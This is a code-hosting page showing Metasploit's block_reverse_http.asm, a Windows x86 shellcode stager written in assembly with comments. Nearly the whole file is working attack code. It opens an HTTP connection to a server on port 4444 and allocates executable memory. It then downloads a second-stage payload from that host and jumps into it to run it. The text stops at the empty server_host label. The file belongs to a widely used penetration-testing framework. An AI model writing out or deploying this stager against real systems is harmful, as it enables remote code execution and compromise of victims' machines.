/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

https://github.com/icewall/metasploit-framework · Assembly · 141 lines · 104 code · 23 blank · 14 comment · 0 complexity · cbed56bc16862e34dde947979c0b7b4c MD5 · raw file

  1. ;-----------------------------------------------------------------------------;
  2. ; Author: HD Moore
  3. ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
  4. ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
  5. ; Version: 1.0
  6. ;-----------------------------------------------------------------------------;
  7. [BITS 32]
  8. ; Input: EBP must be the address of 'api_call'.
  9. ; Output: EDI will be the socket for the connection to the server
  10. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
  11. load_wininet:
  12. push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
  13. push 0x696e6977 ; ...
  14. push esp ; Push a pointer to the "wininet" string on the stack.
  15. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
  16. call ebp ; LoadLibraryA( "wininet" )
  17. internetopen:
  18. xor edi,edi
  19. push edi ; DWORD dwFlags
  20. push edi ; LPCTSTR lpszProxyBypass
  21. push edi ; LPCTSTR lpszProxyName
  22. push edi ; DWORD dwAccessType (PRECONFIG = 0)
  23. push byte 0 ; NULL pointer
  24. push esp ; LPCTSTR lpszAgent ("\x00")
  25. push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
  26. call ebp
  27. jmp short dbl_get_server_host
  28. internetconnect:
  29. pop ebx ; Save the hostname pointer
  30. xor ecx, ecx
  31. push ecx ; DWORD_PTR dwContext (NULL)
  32. push ecx ; dwFlags
  33. push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
  34. push ecx ; password
  35. push ecx ; username
  36. push dword 4444 ; PORT
  37. push ebx ; HOSTNAME
  38. push eax ; HINTERNET hInternet
  39. push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
  40. call ebp
  41. jmp get_server_uri
  42. httpopenrequest:
  43. pop ecx
  44. xor edx, edx ; NULL
  45. push edx ; dwContext (NULL)
  46. push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
  47. ;0x80000000 | ; INTERNET_FLAG_RELOAD
  48. ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
  49. ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
  50. ;0x00000200 | ; INTERNET_FLAG_NO_UI
  51. ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
  52. push edx ; accept types
  53. push edx ; referrer
  54. push edx ; version
  55. push ecx ; url
  56. push edx ; method
  57. push eax ; hConnection
  58. push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
  59. call ebp
  60. mov esi, eax ; hHttpRequest
  61. set_retry:
  62. push byte 0x10
  63. pop ebx
  64. httpsendrequest:
  65. xor edi, edi
  66. push edi ; optional length
  67. push edi ; optional
  68. push edi ; dwHeadersLength
  69. push edi ; headers
  70. push esi ; hHttpRequest
  71. push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
  72. call ebp
  73. test eax,eax
  74. jnz short allocate_memory
  75. try_it_again:
  76. dec ebx
  77. jz failure
  78. jmp short httpsendrequest
  79. dbl_get_server_host:
  80. jmp get_server_host
  81. get_server_uri:
  82. call httpopenrequest
  83. server_uri:
  84. db "/12345", 0x00
  85. failure:
  86. push 0x56A2B5F0 ; hardcoded to exitprocess for size
  87. call ebp
  88. allocate_memory:
  89. push byte 0x40 ; PAGE_EXECUTE_READWRITE
  90. push 0x1000 ; MEM_COMMIT
  91. push 0x00400000 ; Stage allocation (8Mb ought to do us)
  92. push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
  93. push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
  94. call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  95. download_prep:
  96. xchg eax, ebx ; place the allocated base address in ebx
  97. push ebx ; store a copy of the stage base address on the stack
  98. push ebx ; temporary storage for bytes read count
  99. mov edi, esp ; &bytesRead
  100. download_more:
  101. push edi ; &bytesRead
  102. push 8192 ; read length
  103. push ebx ; buffer
  104. push esi ; hRequest
  105. push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
  106. call ebp
  107. test eax,eax ; download failed? (optional?)
  108. jz failure
  109. mov eax, [edi]
  110. add ebx, eax ; buffer += bytes_received
  111. test eax,eax ; optional?
  112. jnz download_more ; continue until it returns 0
  113. pop eax ; clear the temporary storage
  114. execute_stage:
  115. ret ; dive into the stored stage address
  116. get_server_host:
  117. call internetconnect
  118. server_host: